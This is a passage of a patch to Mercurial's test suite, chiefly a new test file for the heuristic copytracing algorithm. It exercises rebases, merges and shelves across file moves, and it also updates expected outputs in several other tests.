   saved backup bundle to $TESTTMP/copydisable/.hg/strip-backup/6adcf8c12e7d-ce4b3e75-rebase.hg (glob)
   $ hg up -q 3
@@ -150,7 +153,7 @@
   |/
   o  0 add a
   
-  $ hg rebase -d 2 -s 3 --config extensions.rebase= --config experimental.disablecopytrace=True
+  $ hg rebase -d 2 -s 3 --config extensions.rebase= --config experimental.copytrace=off
   rebasing 3:47e1a9e6273b "copy a->b (2)" (tip)
   saved backup bundle to $TESTTMP/copydisable3/.hg/strip-backup/47e1a9e6273b-2d099c59-rebase.hg (glob)
 
diff --git a/tests/test-copy.t b/tests/test-copy.t
--- a/tests/test-copy.t
+++ b/tests/test-copy.t
@@ -15,7 +15,7 @@
   $ hg status
   $ hg copy a b
   $ hg --config ui.portablefilenames=abort copy a con.xml
-  abort: filename contains 'con', which is reserved on Windows: 'con.xml'
+  abort: filename contains 'con', which is reserved on Windows: con.xml
   [255]
   $ hg status
   A b
diff --git a/tests/test-copytrace-heuristics.t b/tests/test-copytrace-heuristics.t
new file mode 100644
--- /dev/null
+++ b/tests/test-copytrace-heuristics.t
@@ -0,0 +1,716 @@
+Test for the heuristic copytracing algorithm
+============================================
+
+  $ cat >> $TESTTMP/copytrace.sh << '__EOF__'
+  > initclient() {
+  > cat >> $1/.hg/hgrc <<EOF
+  > [experimental]
+  > copytrace = heuristics
+  > copytrace.sourcecommitlimit = -1
+  > EOF
+  > }
+  > __EOF__
+  $ . "$TESTTMP/copytrace.sh"
+
+  $ cat >> $HGRCPATH << EOF
+  > [extensions]
+  > rebase=
+  > shelve=
+  > EOF
+
+NOTE: calling initclient() set copytrace.sourcecommitlimit=-1 as we want to
+prevent the full copytrace algorithm to run and test the heuristic algorithm
+without complexing the test cases with public and draft commits.
+
+Check filename heuristics (same dirname and same basename)
+----------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ mkdir dir
+  $ echo a > dir/file.txt
+  $ hg addremove
+  adding a
+  adding dir/file.txt
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg mv -q dir dir2
+  $ hg ci -m 'mv a b, mv dir/ dir2/'
+  $ hg up -q 0
+  $ echo b > a
+  $ echo b > dir/file.txt
+  $ hg ci -qm 'mod a, mod dir/file.txt'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: 557f403c0afd2a3cf15d7e2fb1f1001a8b85e081
+  |   desc: mod a, mod dir/file.txt
+  | o  changeset: 928d74bc9110681920854d845c06959f6dfc9547
+  |/    desc: mv a b, mv dir/ dir2/
+  o  changeset: 3c482b16e54596fed340d05ffaf155f156cda7ee
+      desc: initial
+
+  $ hg rebase -s . -d 1
+  rebasing 2:557f403c0afd "mod a, mod dir/file.txt" (tip)
+  merging b and a to b
+  merging dir2/file.txt and dir/file.txt to dir2/file.txt
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/557f403c0afd-9926eeff-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf repo
+
+Make sure filename heuristics do not when they are not related
+--------------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo 'somecontent' > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg rm a
+  $ echo 'completelydifferentcontext' > b
+  $ hg add b
+  $ hg ci -m 'rm a, add b'
+  $ hg up -q 0
+  $ printf 'somecontent\nmoarcontent' > a
+  $ hg ci -qm 'mode a'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: d526312210b9e8f795d576a77dc643796384d86e
+  |   desc: mode a
+  | o  changeset: 46985f76c7e5e5123433527f5c8526806145650b
+  |/    desc: rm a, add b
+  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
+      desc: initial
+
+  $ hg rebase -s . -d 1
+  rebasing 2:d526312210b9 "mode a" (tip)
+  other [source] changed a which local [dest] deleted
+  use (c)hanged version, leave (d)eleted, or leave (u)nresolved? u
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ cd ..
+  $ rm -rf repo
+
+Test when lca didn't modified the file that was moved
+-----------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo 'somecontent' > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo c > c
+  $ hg add c
+  $ hg ci -m randomcommit
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg up -q 1
+  $ echo b > a
+  $ hg ci -qm 'mod a'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 9d5cf99c3d9f8e8b05ba55421f7f56530cfcf3bc
+  |   desc: mod a, phase: draft
+  | o  changeset: d760186dd240fc47b91eb9f0b58b0002aaeef95d
+  |/    desc: mv a b, phase: draft
+  o  changeset: 48e1b6ba639d5d7fb313fa7989eebabf99c9eb83
+  |   desc: randomcommit, phase: draft
+  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
+      desc: initial, phase: draft
+
+  $ hg rebase -s . -d 2
+  rebasing 3:9d5cf99c3d9f "mod a" (tip)
+  merging b and a to b
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/9d5cf99c3d9f-f02358cc-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf repo
+
+Rebase "backwards"
+------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo 'somecontent' > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo c > c
+  $ hg add c
+  $ hg ci -m randomcommit
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg up -q 2
+  $ echo b > b
+  $ hg ci -qm 'mod b'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: fbe97126b3969056795c462a67d93faf13e4d298
+  |   desc: mod b
+  o  changeset: d760186dd240fc47b91eb9f0b58b0002aaeef95d
+  |   desc: mv a b
+  o  changeset: 48e1b6ba639d5d7fb313fa7989eebabf99c9eb83
+  |   desc: randomcommit
+  o  changeset: e5b71fb099c29d9172ef4a23485aaffd497e4cc0
+      desc: initial
+
+  $ hg rebase -s . -d 0
+  rebasing 3:fbe97126b396 "mod b" (tip)
+  merging a and b to a
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/fbe97126b396-cf5452a1-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf repo
+
+Check a few potential move candidates
+-------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ mkdir dir
+  $ echo a > dir/a
+  $ hg add dir/a
+  $ hg ci -qm initial
+  $ hg mv dir/a dir/b
+  $ hg ci -qm 'mv dir/a dir/b'
+  $ mkdir dir2
+  $ echo b > dir2/a
+  $ hg add dir2/a
+  $ hg ci -qm 'create dir2/a'
+  $ hg up -q 0
+  $ echo b > dir/a
+  $ hg ci -qm 'mod dir/a'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: 6b2f4cece40fd320f41229f23821256ffc08efea
+  |   desc: mod dir/a
+  | o  changeset: 4494bf7efd2e0dfdd388e767fb913a8a3731e3fa
+  | |   desc: create dir2/a
+  | o  changeset: b1784dfab6ea6bfafeb11c0ac50a2981b0fe6ade
+  |/    desc: mv dir/a dir/b
+  o  changeset: 36859b8907c513a3a87ae34ba5b1e7eea8c20944
+      desc: initial
+
+  $ hg rebase -s . -d 2
+  rebasing 3:6b2f4cece40f "mod dir/a" (tip)
+  merging dir/b and dir/a to dir/b
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/6b2f4cece40f-503efe60-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf repo
+
+Test the copytrace.movecandidateslimit with many move candidates
+----------------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a foo
+  $ echo a > b
+  $ echo a > c
+  $ echo a > d
+  $ echo a > e
+  $ echo a > f
+  $ echo a > g
+  $ hg add b
+  $ hg add c
+  $ hg add d
+  $ hg add e
+  $ hg add f
+  $ hg add g
+  $ hg ci -m 'mv a foo, add many files'
+  $ hg up -q ".^"
+  $ echo b > a
+  $ hg ci -m 'mod a'
+  created new head
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |   desc: mod a
+  | o  changeset: 8329d5c6bf479ec5ca59b9864f3f45d07213f5a4
+  |/    desc: mv a foo, add many files
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
+
+With small limit
+
+  $ hg rebase -s 2 -d 1 --config experimental.copytrace.movecandidateslimit=0
+  rebasing 2:ef716627c70b "mod a" (tip)
+  skipping copytracing for 'a', more candidates than the limit: 7
+  other [source] changed a which local [dest] deleted
+  use (c)hanged version, leave (d)eleted, or leave (u)nresolved? u
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+  $ hg rebase --abort
+  rebase aborted
+
+With default limit which is 100
+
+  $ hg rebase -s 2 -d 1
+  rebasing 2:ef716627c70b "mod a" (tip)
+  merging foo and a to foo
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/ef716627c70b-24681561-rebase.hg (glob)
+
+  $ cd ..
+  $ rm -rf repo
+
+Move file in one branch and delete it in another
+-----------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg up -q ".^"
+  $ hg rm a
+  $ hg ci -m 'del a'
+  created new head
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @  changeset: 7d61ee3b1e48577891a072024968428ba465c47b
+  |   desc: del a, phase: draft
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |/    desc: mv a b, phase: draft
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: draft
+
+  $ hg rebase -s 1 -d 2
+  rebasing 1:472e38d57782 "mv a b"
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/472e38d57782-17d50e29-rebase.hg (glob)
+  $ hg up -q c492ed3c7e35dcd1dc938053b8adf56e2cfbd062
+  $ ls
+  b
+  $ cd ..
+  $ rm -rf repo
+
+Move a directory in draft branch
+--------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ mkdir dir
+  $ echo a > dir/a
+  $ hg add dir/a
+  $ hg ci -qm initial
+  $ echo b > dir/a
+  $ hg ci -qm 'mod dir/a'
+  $ hg up -q ".^"
+  $ hg mv -q dir/ dir2
+  $ hg ci -qm 'mv dir/ dir2/'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: a33d80b6e352591dfd82784e1ad6cdd86b25a239
+  |   desc: mv dir/ dir2/
+  | o  changeset: 6b2f4cece40fd320f41229f23821256ffc08efea
+  |/    desc: mod dir/a
+  o  changeset: 36859b8907c513a3a87ae34ba5b1e7eea8c20944
+      desc: initial
+
+  $ hg rebase -s . -d 1
+  rebasing 2:a33d80b6e352 "mv dir/ dir2/" (tip)
+  merging dir/a and dir2/a to dir2/a
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/a33d80b6e352-fecb9ada-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf server
+  $ rm -rf repo
+
+Move file twice and rebase mod on top of moves
+----------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg mv b c
+  $ hg ci -m 'mv b c'
+  $ hg up -q 0
+  $ echo c > a
+  $ hg ci -m 'mod a'
+  created new head
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: d413169422167a3fa5275fc5d71f7dea9f5775f3
+  |   desc: mod a
+  | o  changeset: d3efd280421d24f9f229997c19e654761c942a71
+  | |   desc: mv b c
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |/    desc: mv a b
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
+  $ hg rebase -s . -d 2
+  rebasing 3:d41316942216 "mod a" (tip)
+  merging c and a to c
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/d41316942216-2b5949bc-rebase.hg (glob)
+
+  $ cd ..
+  $ rm -rf repo
+
+Move file twice and rebase moves on top of mods
+-----------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ hg mv b c
+  $ hg ci -m 'mv b c'
+  $ hg up -q 0
+  $ echo c > a
+  $ hg ci -m 'mod a'
+  created new head
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: d413169422167a3fa5275fc5d71f7dea9f5775f3
+  |   desc: mod a
+  | o  changeset: d3efd280421d24f9f229997c19e654761c942a71
+  | |   desc: mv b c
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |/    desc: mv a b
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
+  $ hg rebase -s 1 -d .
+  rebasing 1:472e38d57782 "mv a b"
+  merging a and b to b
+  rebasing 2:d3efd280421d "mv b c"
+  merging b and c to c
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/472e38d57782-ab8d3c58-rebase.hg (glob)
+
+  $ cd ..
+  $ rm -rf repo
+
+Move one file and add another file in the same folder in one branch, modify file in another branch
+--------------------------------------------------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  $ echo c > c
+  $ hg add c
+  $ hg ci -m 'add c'
+  $ hg up -q 0
+  $ echo b > a
+  $ hg ci -m 'mod a'
+  created new head
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |   desc: mod a
+  | o  changeset: b1a6187e79fbce851bb584eadcb0cc4a80290fd9
+  | |   desc: add c
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |/    desc: mv a b
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
+
+  $ hg rebase -s . -d 2
+  rebasing 3:ef716627c70b "mod a" (tip)
+  merging b and a to b
+  saved backup bundle to $TESTTMP/repo/.hg/strip-backup/ef716627c70b-24681561-rebase.hg (glob)
+  $ ls
+  b
+  c
+  $ cat b
+  b
+  $ rm -rf repo
+
+Merge test
+----------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo b > a
+  $ hg ci -m 'modify a'
+  $ hg up -q 0
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+  created new head
+  $ hg up -q 2
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |   desc: mv a b
+  | o  changeset: b0357b07f79129a3d08a68621271ca1352ae8a09
+  |/    desc: modify a
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
+
+  $ hg merge 1
+  merging b and a to b
+  0 files updated, 1 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg ci -m merge
+  $ ls
+  b
+  $ cd ..
+  $ rm -rf repo
+
+Copy and move file
+------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ hg cp a c
+  $ hg mv a b
+  $ hg ci -m 'cp a c, mv a b'
+  $ hg up -q 0
+  $ echo b > a
+  $ hg ci -m 'mod a'
+  created new head
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |   desc: mod a
+  | o  changeset: 4fc3fd13fbdb89ada6b75bfcef3911a689a0dde8
+  |/    desc: cp a c, mv a b
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
+
+  $ hg rebase -s . -d 1
+  rebasing 2:ef716627c70b "mod a" (tip)
+  merging b and a to b
+  merging c and a to c
+  saved backup bundle to $TESTTMP/repo/repo/.hg/strip-backup/ef716627c70b-24681561-rebase.hg (glob)
+  $ ls
+  b
+  c
+  $ cat b
+  b
+  $ cat c
+  b
+  $ cd ..
+  $ rm -rf repo
+
+Do a merge commit with many consequent moves in one branch
+----------------------------------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo b > a
+  $ hg ci -qm 'mod a'
+  $ hg up -q ".^"
+  $ hg mv a b
+  $ hg ci -qm 'mv a b'
+  $ hg mv b c
+  $ hg ci -qm 'mv b c'
+  $ hg up -q 1
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  o  changeset: d3efd280421d24f9f229997c19e654761c942a71
+  |   desc: mv b c
+  o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |   desc: mv a b
+  | @  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |/    desc: mod a
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
+
+  $ hg merge 3
+  merging a and c to c
+  0 files updated, 1 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg ci -qm 'merge'
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}, phase: {phase}\n'
+  @    changeset: cd29b0d08c0f39bfed4cde1b40e30f419db0c825
+  |\    desc: merge, phase: draft
+  | o  changeset: d3efd280421d24f9f229997c19e654761c942a71
+  | |   desc: mv b c, phase: draft
+  | o  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  | |   desc: mv a b, phase: draft
+  o |  changeset: ef716627c70bf4ca0bdb623cfb0d6fe5b9acc51e
+  |/    desc: mod a, phase: draft
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial, phase: draft
+  $ ls
+  c
+  $ cd ..
+  $ rm -rf repo
+
+Test shelve/unshelve
+-------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg add a
+  $ hg ci -m initial
+  $ echo b > a
+  $ hg shelve
+  shelved as default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg mv a b
+  $ hg ci -m 'mv a b'
+
+  $ hg log -G -T 'changeset: {node}\n desc: {desc}\n'
+  @  changeset: 472e38d57782172f6c6abed82a94ca0d998c3a22
+  |   desc: mv a b
+  o  changeset: 1451231c87572a7d3f92fc210b4b35711c949a98
+      desc: initial
+  $ hg unshelve
+  unshelving change 'default'
+  rebasing shelved changes
+  rebasing 2:45f63161acea "changes to: initial" (tip)
+  merging b and a to b
+  $ ls
+  b
+  $ cat b
+  b
+  $ cd ..
+  $ rm -rf repo
+
+Test full copytrace ability on draft branch
+-------------------------------------------
+
+File directory and base name changed in same move
+  $ hg init repo
+  $ initclient repo
+  $ mkdir repo/dir1
+  $ cd repo/dir1
+  $ echo a > a
+  $ hg add a
+  $ hg ci -qm initial
+  $ cd ..
+  $ hg mv -q dir1 dir2
+  $ hg mv dir2/a dir2/b
+  $ hg ci -qm 'mv a b; mv dir1 dir2'
+  $ hg up -q '.^'
+  $ cd dir1
+  $ echo b >> a
+  $ cd ..
+  $ hg ci -qm 'mod a'
+
+  $ hg log -G -T 'changeset {node}\n desc {desc}, phase: {phase}\n'
+  @  changeset 6207d2d318e710b882e3d5ada2a89770efc42c96
+  |   desc mod a, phase: draft
+  | o  changeset abffdd4e3dfc04bc375034b970299b2a309a1cce
+  |/    desc mv a b; mv dir1 dir2, phase: draft
+  o  changeset 81973cd24b58db2fdf18ce3d64fb2cc3284e9ab3
+      desc initial, phase: draft
+
+  $ hg rebase -s . -d 1 --config experimental.copytrace.sourcecommitlimit=100
+  rebasing 2:6207d2d318e7 "mod a" (tip)
+  merging dir2/b and dir1/a to dir2/b
+  saved backup bundle to $TESTTMP/repo/repo/.hg/strip-backup/6207d2d318e7-1c9779ad-rebase.hg (glob)
+  $ cat dir2/b
+  a
+  b
+  $ cd ..
+  $ rm -rf repo
+
+Move directory in one merge parent, while adding file to original directory
+in other merge parent. File moved on rebase.
+
+  $ hg init repo
+  $ initclient repo
+  $ mkdir repo/dir1
+  $ cd repo/dir1
+  $ echo dummy > dummy
+  $ hg add dummy
+  $ cd ..
+  $ hg ci -qm initial
+  $ cd dir1
+  $ echo a > a
+  $ hg add a
+  $ cd ..
+  $ hg ci -qm 'hg add dir1/a'
+  $ hg up -q '.^'
+  $ hg mv -q dir1 dir2
+  $ hg ci -qm 'mv dir1 dir2'
+
+  $ hg log -G -T 'changeset {node}\n desc {desc}, phase: {phase}\n'
+  @  changeset e8919e7df8d036e07b906045eddcd4a42ff1915f
+  |   desc mv dir1 dir2, phase: draft
+  | o  changeset 7c7c6f339be00f849c3cb2df738ca91db78b32c8
+  |/    desc hg add dir1/a, phase: draft
+  o  changeset a235dcce55dcf42034c4e374cb200662d0bb4a13
+      desc initial, phase: draft
+
+  $ hg rebase -s . -d 1 --config experimental.copytrace.sourcecommitlimit=100
+  rebasing 2:e8919e7df8d0 "mv dir1 dir2" (tip)
+  saved backup bundle to $TESTTMP/repo/repo/.hg/strip-backup/e8919e7df8d0-f62fab62-rebase.hg (glob)
+  $ ls dir2
+  a
+  dummy
+  $ rm -rf repo
+
+Testing the sourcecommitlimit config
+-----------------------------------
+
+  $ hg init repo
+  $ initclient repo
+  $ cd repo
+  $ echo a > a
+  $ hg ci -Aqm "added a"
+  $ echo "more things" >> a
+  $ hg ci -qm "added more things to a"
+  $ hg up 0
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ echo b > b
+  $ hg ci -Aqm "added b"
+  $ mkdir foo
+  $ hg mv a foo/bar
+  $ hg ci -m "Moved a to foo/bar"
+  $ hg log -G -T 'changeset {node}\n desc {desc}, phase: {phase}\n'
+  @  changeset b4b0f7880e500b5c364a5f07b4a2b167de7a6fb0
+  |   desc Moved a to foo/bar, phase: draft
+  o  changeset 5f6d8a4bf34ab274ccc9f631c2536964b8a3666d
+  |   desc added b, phase: draft
+  | o  changeset 8b6e13696c38e8445a759516474640c2f8dddef6
+  |/    desc added more things to a, phase: draft
+  o  changeset 9092f1db7931481f93b37d5c9fbcfc341bcd7318
+      desc added a, phase: draft
+
+When the sourcecommitlimit is small and we have more drafts, we use heuristics only
+
+  $ hg rebase -s 8b6e13696 -d .
+  rebasing 1:8b6e13696c38 "added more things to a"
+  other [source] changed a which local [dest] deleted
+  use (c)hanged version, leave (d)eleted, or leave (u)nresolved? u
+  unresolved conflicts (see hg resolve, then hg rebase --continue)
+  [1]
+
+But when we have "sourcecommitlimit > (no. of drafts from base to c1)", we do
+fullcopytracing
+
+  $ hg rebase --abort
+  rebase aborted
+  $ hg rebase -s 8b6e13696 -d . --config experimental.copytrace.sourcecommitlimit=100
+  rebasing 1:8b6e13696c38 "added more things to a"
+  merging foo/bar and a to foo/bar
+  saved backup bundle to $TESTTMP/repo/repo/repo/.hg/strip-backup/8b6e13696c38-fc14ac83-rebase.hg (glob)
+  $ cd ..
+  $ rm -rf repo
diff --git a/tests/test-debian-packages.t b/tests/test-debian-packages.t
--- a/tests/test-debian-packages.t
+++ b/tests/test-debian-packages.t
@@ -1,4 +1,4 @@
-#require test-repo slow debhelper
+#require test-repo slow debhelper debdeps
 
   $ . "$TESTDIR/helpers-testrepo.sh"
   $ testrepohgenv
@@ -12,12 +12,21 @@
   $ cd "$TESTDIR"/..
   $ make deb > $OUTPUTDIR/build.log 2>&1
   $ cd $OUTPUTDIR
-  $ ls *.deb
+  $ ls *.deb | grep -v 'dbg'
   mercurial-common_*.deb (glob)
   mercurial_*.deb (glob)
 main deb should have .so but no .py
   $ dpkg --contents mercurial_*.deb | egrep '(localrepo|parsers)'
-  * ./usr/lib/python2.7/dist-packages/mercurial/parsers*.so (glob)
+  * ./usr/lib/python2.7/dist-packages/mercurial/cext/parsers*.so (glob)
 mercurial-common should have py but no .so or pyc
-  $ dpkg --contents mercurial-common_*.deb | egrep '(localrepo|parsers)'
+  $ dpkg --contents mercurial-common_*.deb | egrep '(localrepo|parsers.*so)'
   * ./usr/lib/python2.7/dist-packages/mercurial/localrepo.py (glob)
+zsh completions should be in the common package
+  $ dpkg --contents mercurial-common_*.deb | egrep 'zsh.*[^/]$'
+  * ./usr/share/zsh/vendor-completions/_hg (glob)
+chg should be installed alongside hg, in the 'mercurial' package
+  $ dpkg --contents mercurial_*.deb | egrep 'chg$'
+  * ./usr/bin/chg (glob)
+chg should come with a man page
+  $ dpkg --contents mercurial_*.deb | egrep 'man.*chg'
+  * ./usr/share/man/man1/chg.1.gz (glob)
diff --git a/tests/test-debugbundle.t b/tests/test-debugbundle.t
--- a/tests/test-debugbundle.t
+++ b/tests/test-debugbundle.t
@@ -31,7 +31,7 @@
 
   $ hg debugbundle bundle2.hg
   Stream params: {}
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2')])"
+  changegroup -- {nbchanges: 2, version: 02}
       0e067c57feba1a5694ca4844f05588bb1bf82342
       991a3460af53952d10ec8a295d3d2cc2e5fa9690
 
@@ -56,7 +56,7 @@
 
   $ hg debugbundle --all bundle2.hg
   Stream params: {}
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '2')])"
+  changegroup -- {nbchanges: 2, version: 02}
       format: id, p1, p2, cset, delta base, len(delta)
   
       changelog
diff --git a/tests/test-debugcommands.t b/tests/test-debugcommands.t
--- a/tests/test-debugcommands.t
+++ b/tests/test-debugcommands.t
@@ -132,25 +132,27 @@
 Test internal debugstacktrace command
 
   $ cat > debugstacktrace.py << EOF
-  > from mercurial.util import debugstacktrace, dst, sys
+  > from __future__ import absolute_import
+  > import sys
+  > from mercurial import util
   > def f():
-  >     debugstacktrace(f=sys.stdout)
+  >     util.debugstacktrace(f=sys.stdout)
   >     g()
   > def g():
-  >     dst('hello from g\\n', skip=1)
+  >     util.dst('hello from g\\n', skip=1)
   >     h()
   > def h():
-  >     dst('hi ...\\nfrom h hidden in g', 1, depth=2)
+  >     util.dst('hi ...\\nfrom h hidden in g', 1, depth=2)
   > f()
   > EOF
   $ $PYTHON debugstacktrace.py
   stacktrace at:
-   debugstacktrace.py:10 in * (glob)
-   debugstacktrace.py:3  in f
+   debugstacktrace.py:12 in * (glob)
+   debugstacktrace.py:5  in f
   hello from g at:
-   debugstacktrace.py:10 in * (glob)
-   debugstacktrace.py:4  in f
+   debugstacktrace.py:12 in * (glob)
+   debugstacktrace.py:6  in f
   hi ...
   from h hidden in g at:
-   debugstacktrace.py:4 in f
-   debugstacktrace.py:7 in g
+   debugstacktrace.py:6 in f
+   debugstacktrace.py:9 in g
diff --git a/tests/test-demandimport.py b/tests/test-demandimport.py
--- a/tests/test-demandimport.py
+++ b/tests/test-demandimport.py
@@ -1,4 +1,4 @@
-from __future__ import print_function
+from __future__ import absolute_import, print_function
 
 from mercurial import demandimport
 demandimport.enable()
diff --git a/tests/test-devel-warnings.t b/tests/test-devel-warnings.t
--- a/tests/test-devel-warnings.t
+++ b/tests/test-devel-warnings.t
@@ -96,9 +96,10 @@
   > EOF
   $ hg buggylocking
   devel-warn: "wlock" acquired after "lock" at: $TESTTMP/buggylocking.py:* (buggylocking) (glob)
+#if no-chg
   $ hg buggylocking --traceback
   devel-warn: "wlock" acquired after "lock" at:
-   */hg:* in * (glob)
+   */hg:* in <module> (glob)
    */mercurial/dispatch.py:* in run (glob)
    */mercurial/dispatch.py:* in dispatch (glob)
    */mercurial/dispatch.py:* in _runcatch (glob)
@@ -111,6 +112,43 @@
    */mercurial/dispatch.py:* in <lambda> (glob)
    */mercurial/util.py:* in check (glob)
    $TESTTMP/buggylocking.py:* in buggylocking (glob)
+#else
+  $ hg buggylocking --traceback
+  devel-warn: "wlock" acquired after "lock" at:
+   */hg:* in <module> (glob)
+   */mercurial/dispatch.py:* in run (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   */mercurial/commands.py:* in serve (glob)
+   */mercurial/server.py:* in runservice (glob)
+   */mercurial/commandserver.py:* in run (glob)
+   */mercurial/commandserver.py:* in _mainloop (glob)
+   */mercurial/commandserver.py:* in _runworker (glob)
+   */mercurial/commandserver.py:* in _serverequest (glob)
+   */mercurial/commandserver.py:* in serve (glob)
+   */mercurial/commandserver.py:* in serveone (glob)
+   */mercurial/chgserver.py:* in runcommand (glob)
+   */mercurial/commandserver.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
